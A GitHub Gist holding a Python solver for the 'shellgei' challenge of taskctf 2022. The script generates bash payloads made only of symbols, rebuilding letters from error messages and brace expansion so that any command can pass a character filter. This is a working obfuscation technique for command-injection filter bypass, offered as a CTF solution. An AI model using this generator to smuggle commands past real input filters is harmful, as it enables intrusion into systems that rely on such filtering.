Created
December 3, 2022 16:04
-
-
Save satoooon8888/145982c78c1f1b5e7cefe8dd97a435af to your computer and use it in GitHub Desktop.
taskctf 2022 - shellgei
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# 記号のみでbashを動かす問題 | |
# 参考: | |
# https://www.ryotosaito.com/blog/?p=178 | |
# https://www.ryotosaito.com/blog/?p=194 | |
command = input() | |
payload = R""" | |
__=$(($$/$$)); | |
___=$(($__+$__)); | |
____=$(.&>/???/??/$__); | |
____=${____##*.}; | |
_____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__); | |
_____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}}; | |
_____=${_____,,}; | |
______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}"))); | |
_______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___+$__))${____:$__$__:$__}}"))); | |
""" | |
def make_num(num): | |
return "$(($$-$$" + "+$$/$$" * num + "))" | |
for c in command: | |
if c.isdigit(): | |
payload += make_num(int(c)) | |
elif c.isalpha(): | |
payload += "${______[" + make_num(ord(c) - ord("a")) + "]}" | |
else: | |
payload += c | |
print(payload.replace("\n", "").replace("\r", "")) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment